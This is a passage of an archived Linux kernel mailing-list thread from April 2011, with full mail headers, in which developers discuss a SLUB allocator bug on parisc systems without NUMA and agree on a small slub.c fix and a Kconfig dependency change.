	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, linux-arch@vger.kernel.org,
	Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 00:19:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD2DR-0004Wk-Hv
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 00:19:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755307Ab1DUWTM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 18:19:12 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:59721 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754706Ab1DUWTL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 18:19:11 -0400
Original-Received: from kpbe14.cbf.corp.google.com (kpbe14.cbf.corp.google.com [172.25.105.78])
	by smtp-out.google.com with ESMTP id p3LMJ8Ll019521
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 15:19:08 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303424351; bh=0rGwHngP047LWjuWSN4QMReO3Pg=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=qmu9pwBXid5brtf6OnWh0guNoMszTLmedO7JueAWATMQepZhcMzjb6r8q/hG1Qp2Q
	 Fvm95CByk2AU4XxN4Wrcw==
Original-Received: from pwi5 (pwi5.prod.google.com [10.241.219.5])
	by kpbe14.cbf.corp.google.com with ESMTP id p3LMIY3U006099
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 15:19:07 -0700
Original-Received: by pwi5 with SMTP id 5so137322pwi.17
        for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 15:19:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=rGiVPQ7LuMSfu+nED9LS3Th1mbx3emYwZwXC1Ruu3Ak=;
        b=xt98hzxDoDu+GZI82kC4HIgLPpXBx7fjKnnoB77WzfBaIvc3rr42YyUYGV4V95IxrU
         y/jMLCt33LbcB0LMSGFw==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=VFzAM3hHi8AFk2HoVagBi+HWV4QI2gRMOPYJzDfvC73xl13PEeFSmj20+2VC+tAFag
         rllkNmW0Z/3addU3cmyg==
Original-Received: by 10.142.195.12 with SMTP id s12mr243611wff.307.1303424346912;
        Thu, 21 Apr 2011 15:19:06 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id a4sm1562464pbs.25.2011.04.21.15.19.01
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 15:19:01 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <1303401997.4025.8.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3654 gmane.linux.kernel.mm:61828 gmane.linux.kernel:1129772 gmane.linux.kernel.cross-arch:9640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3654>

On Thu, 21 Apr 2011, James Bottomley wrote:

> diff --git a/mm/slub.c b/mm/slub.c
> index 94d2a33..243bd9c 100644
> --- a/mm/slub.c
> +++ b/mm/slub.c
> @@ -235,7 +235,11 @@ int slab_is_available(void)
>  
>  static inline struct kmem_cache_node *get_node(struct kmem_cache *s, int node)
>  {
> +#ifdef CONFIG_NUMA
>  	return s->node[node];
> +#else
> +	return s->node[0];
> +#endif
>  }
>  
>  /* Verify that a pointer has an address that is valid within a slab page */

Looks like parisc may have been just fine before 7340cc84141d (slub: 
reduce differences between SMP and NUMA), which was merged into 2.6.37?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 17:31:31 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1303425091.4025.59.camel@mulgrave.site>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
	 <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
	 <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420112020.GA31296@parisc-linux.org>
	 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>
	 <1303308938.2587.8.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104200943580.9266@router.home>
	 <1303311779.2587.19.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201018360.9266@router.home>
	 <alpine.DEB.2.00.1104201437180.31768@chino.kir.corp.google.com>
	 <1303401997.4025.8.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211517150.20201@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303425103 24152 80.91.229.12 (21 Apr 2011 22:31:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 22:31:43 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, linux-arch@vger.kernel.org,
	Mel Gorman <mel@csn.ul.ie>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 00:31:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD2PQ-0004lr-5K
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 00:31:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755419Ab1DUWbf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 18:31:35 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46687 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754764Ab1DUWbe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 18:31:34 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0C3ED8EE0F5;
	Thu, 21 Apr 2011 15:31:34 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YpCNeiweFghu; Thu, 21 Apr 2011 15:31:33 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B1AF18EE01D;
	Thu, 21 Apr 2011 15:31:32 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104211517150.20201@chino.kir.corp.google.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3655 gmane.linux.kernel.mm:61829 gmane.linux.kernel:1129775 gmane.linux.kernel.cross-arch:9641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3655>

On Thu, 2011-04-21 at 15:19 -0700, David Rientjes wrote:
> On Thu, 21 Apr 2011, James Bottomley wrote:
> 
> > diff --git a/mm/slub.c b/mm/slub.c
> > index 94d2a33..243bd9c 100644
> > --- a/mm/slub.c
> > +++ b/mm/slub.c
> > @@ -235,7 +235,11 @@ int slab_is_available(void)
> >  
> >  static inline struct kmem_cache_node *get_node(struct kmem_cache *s, int node)
> >  {
> > +#ifdef CONFIG_NUMA
> >  	return s->node[node];
> > +#else
> > +	return s->node[0];
> > +#endif
> >  }
> >  
> >  /* Verify that a pointer has an address that is valid within a slab page */
> 
> Looks like parisc may have been just fine before 7340cc84141d (slub: 
> reduce differences between SMP and NUMA), which was merged into 2.6.37?

That's possible.  I've had no bug reports from the debian 2.6.32 kernel,
which is the only other one that has SLUB by default.  The m68k guys
seem to think this is the cause of their problems too.

But the basic fact is that all our testing has been done on SLAB.  It
wasn't until debian asked us to looks at a 2.6.38 kernel that I
accidentally picked up SLUB by importing their config into my build
environment.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Fri, 22 Apr 2011 09:34:25 +0900 (JST)
Lines: 28
Approved: news@gmane.org
Message-ID: <20110422093406.FA56.A69D9226@jp.fujitsu.com>
References: <20110421221712.9184.A69D9226@jp.fujitsu.com> <alpine.DEB.2.00.1104211230030.5829@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303432477 27655 80.91.229.12 (22 Apr 2011 00:34:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 00:34:37 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 02:34:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD4KL-0000X8-K6
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 02:34:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754153Ab1DVAe2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 20:34:28 -0400
Original-Received: from fgwmail6.fujitsu.co.jp ([192.51.44.36]:60929 "EHLO
	fgwmail6.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753960Ab1DVAe2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 20:34:28 -0400
Original-Received: from m4.gw.fujitsu.co.jp (unknown [10.0.50.74])
	by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id C2D9E3EE0BB;
	Fri, 22 Apr 2011 09:34:26 +0900 (JST)
Original-Received: from smail (m4 [127.0.0.1])
	by outgoing.m4.gw.fujitsu.co.jp (Postfix) with ESMTP id A985A45DE53;
	Fri, 22 Apr 2011 09:34:26 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (s4.gw.fujitsu.co.jp [10.0.50.94])
	by m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 8FE1245DE4D;
	Fri, 22 Apr 2011 09:34:26 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id 836881DB803E;
	Fri, 22 Apr 2011 09:34:26 +0900 (JST)
Original-Received: from ml13.s.css.fujitsu.com (ml13.s.css.fujitsu.com [10.240.81.133])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id 4DBD01DB8037;
	Fri, 22 Apr 2011 09:34:26 +0900 (JST)
Original-Received: from ml13.css.fujitsu.com (ml13 [127.0.0.1])
	by ml13.s.css.fujitsu.com (Postfix) with ESMTP id 0F054FD0009;
	Fri, 22 Apr 2011 09:34:26 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by ml13.s.css.fujitsu.com (Postfix) with ESMTP id 10BDFFD0005;
	Fri, 22 Apr 2011 09:34:25 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Fri, 22 Apr 2011 09:34:30 +0900 (JST)
In-Reply-To: <alpine.DEB.2.00.1104211230030.5829@chino.kir.corp.google.com>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3656 gmane.linux.kernel.mm:61830 gmane.linux.kernel:1129798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3656>

> On Thu, 21 Apr 2011, KOSAKI Motohiro wrote:
> 
> > ia64 and mips have CONFIG_ARCH_POPULATES_NODE_MAP and it initialize
> > N_NORMAL_MEMORY automatically if my understand is correct.
> > (plz see free_area_init_nodes)
> > 
> 
> ia64 doesn't enable CONFIG_HIGHMEM, so it never gets set via this generic 
> code; mips also doesn't enable it for all configs even for 32-bit.
> 
> So we'll either want to take check_for_regular_memory() out from under 
> CONFIG_HIGHMEM and do it for all configs or teach slub to use 
> N_HIGH_MEMORY rather than N_NORMAL_MEMORY.

Hey, I already told this thing.

If CONFIG_HIGHMEM=n, N_HIGH_MEMORY and N_NORMAL_MEMORY are share the
same value. then, 
	node_set_state(nid, N_HIGH_MEMORY) in free_area_init_nodes()

mean set both N_HIGH_MEMORY and N_NORMAL_MEMORY.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Fri, 22 Apr 2011 11:02:10 +0300
Lines: 39
Approved: news@gmane.org
Message-ID: <BANLkTi=JGeWiFm-9H-2vHDsU1v7ykDt1UA@mail.gmail.com>
References: <1303317178.2587.30.camel@mulgrave.site>
	<alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
	<20110421220351.9180.A69D9226@jp.fujitsu.com>
	<alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
	<alpine.DEB.2.00.1104211500170.5741@router.home>
	<alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
	<1303421088.4025.52.camel@mulgrave.site>
	<alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
	<1303422566.4025.56.camel@mulgrave.site>
	<alpine.DEB.2.00.1104211505320.20201@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303459341 16900 80.91.229.12 (22 Apr 2011 08:02:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 08:02:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 10:02:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDBJe-00021B-9a
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 10:02:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752473Ab1DVICN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 04:02:13 -0400
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:42255 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752388Ab1DVICL convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 04:02:11 -0400
Original-Received: by gxk21 with SMTP id 21so112197gxk.19
        for <multiple recipients>; Fri, 22 Apr 2011 01:02:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=xV+eFRdjBTo/nu4OfR8L16Vj65hXyDUiDjZBrTW9sT8=;
        b=PeRNVIDdNrXdzfU4UuqgEo9ZTG6NdBL+yfVr0a9K544PYA65QreOR2czBHhr0lAu/u
         r4Yrk00+KSKmceKHZYndzJunbL1ygcyMwMUxOnjaS14hlGptm15YSXA7j1UyuhDfDHNw
         Oh6JPvmGeVMTx4hjfWjLTiL8kL49/yq0s/uoU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=p4NHi/8+rCdYOVR52zzdWz4GKIsjv4l32Y0aGIA8nfXSqal+0ebouwHfDXYIbNNIuj
         2p76uZHRQe2RhcJ2A3nm+h595IeaibDUJXRNL7nAFz7U65uu1nDZN84vAmZX6rDN51Gc
         dVwxSVnuxCOsWB7nUTZF5mzbyyxblC/OqH/P8=
Original-Received: by 10.101.23.11 with SMTP id a11mr489865anj.66.1303459330777; Fri,
 22 Apr 2011 01:02:10 -0700 (PDT)
Original-Received: by 10.100.10.3 with HTTP; Fri, 22 Apr 2011 01:02:10 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104211505320.20201@chino.kir.corp.google.com>
X-Google-Sender-Auth: EzMQv4fhrM7E-Nc-g97-JR-FsVc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3657 gmane.linux.kernel.mm:61878 gmane.linux.kernel:1129854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3657>

On Fri, Apr 22, 2011 at 1:12 AM, David Rientjes <rientjes@google.com> w=
rote:
>> > diff --git a/init/Kconfig b/init/Kconfig
>> > index 56240e7..a7ad8fb 100644
>> > --- a/init/Kconfig
>> > +++ b/init/Kconfig
>> > @@ -1226,6 +1226,7 @@ config SLAB
>> > =A0 =A0 =A0 =A0 =A0 per cpu and per node queues.
>> >
>> > =A0config SLUB
>> > + =A0 =A0 =A0 depends on BROKEN || NUMA || !DISCONTIGMEM
>> > =A0 =A0 =A0 =A0 bool "SLUB (Unqueued Allocator)"
>> > =A0 =A0 =A0 =A0 help
>> > =A0 =A0 =A0 =A0 =A0 =A0SLUB is a slab allocator that minimizes cac=
he line usage
>>
>>
>> I already sent it to linux-arch and there's been no dissent; there h=
ave
>> been a few "will that fix my slub bug?" type of responses.
>
> I was concerned about tile because it actually got all this right by =
using
> N_NORMAL_MEMORY appropriately and it uses slub by default, but it alw=
ays
> enables NUMA at the moment so this won't impact it.
>
> Acked-by: David Rientjes <rientjes@google.com>

I'm OK with this Kconfig patch. Can someone send a proper patch with
signoffs and such? Do we want to tag this for -stable too?

                         Pekka
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Fri, 22 Apr 2011 08:49:54 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <1303480195.2590.2.camel@mulgrave.site>
References: <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
	 <20110421220351.9180.A69D9226@jp.fujitsu.com>
	 <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
	 <alpine.DEB.2.00.1104211500170.5741@router.home>
	 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
	 <1303421088.4025.52.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211431500.20201@chino.kir.corp.google.com>
	 <1303422566.4025.56.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211505320.20201@chino.kir.corp.google.com>
	 <BANLkTi=JGeWiFm-9H-2vHDsU1v7ykDt1UA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303480210 28500 80.91.229.12 (22 Apr 2011 13:50:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Apr 2011 13:50:10 +0000 (UTC)
Cc: David Rientjes <rientjes@google.com>,
	Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 22 15:50:02 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QDGkD-0002mH-Id
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Apr 2011 15:50:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755537Ab1DVNuA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Apr 2011 09:50:00 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48108 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755372Ab1DVNt7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Apr 2011 09:49:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A0AEB8EE0A4;
	Fri, 22 Apr 2011 06:49:58 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZNbtWovztLUH; Fri, 22 Apr 2011 06:49:58 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8275F8EE01D;
	Fri, 22 Apr 2011 06:49:57 -0700 (PDT)
In-Reply-To: <BANLkTi=JGeWiFm-9H-2vHDsU1v7ykDt1UA@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3658 gmane.linux.kernel.mm:61881 gmane.linux.kernel:1129955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3658>

On Fri, 2011-04-22 at 11:02 +0300, Pekka Enberg wrote:
> On Fri, Apr 22, 2011 at 1:12 AM, David Rientjes <rientjes@google.com> wrote:
> >> > diff --git a/init/Kconfig b/init/Kconfig
> >> > index 56240e7..a7ad8fb 100644
> >> > --- a/init/Kconfig
> >> > +++ b/init/Kconfig
> >> > @@ -1226,6 +1226,7 @@ config SLAB
> >> >           per cpu and per node queues.
> >> >
> >> >  config SLUB
> >> > +       depends on BROKEN || NUMA || !DISCONTIGMEM
> >> >         bool "SLUB (Unqueued Allocator)"
> >> >         help
> >> >            SLUB is a slab allocator that minimizes cache line usage
> >>
> >>
> >> I already sent it to linux-arch and there's been no dissent; there have
> >> been a few "will that fix my slub bug?" type of responses.
> >
> > I was concerned about tile because it actually got all this right by using
> > N_NORMAL_MEMORY appropriately and it uses slub by default, but it always
> > enables NUMA at the moment so this won't impact it.
> >
> > Acked-by: David Rientjes <rientjes@google.com>
> 
> I'm OK with this Kconfig patch. Can someone send a proper patch with
> signoffs and such? Do we want to tag this for -stable too?

I already did here:

http://marc.info/?l=linux-arch&m=130324857801976

I got the wrong linux-mm email address, though (I thought you were on
vger).

I've got a parisc specific patch already for this (also for stable), so
I can just queue this alongside if everyone's OK with that?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
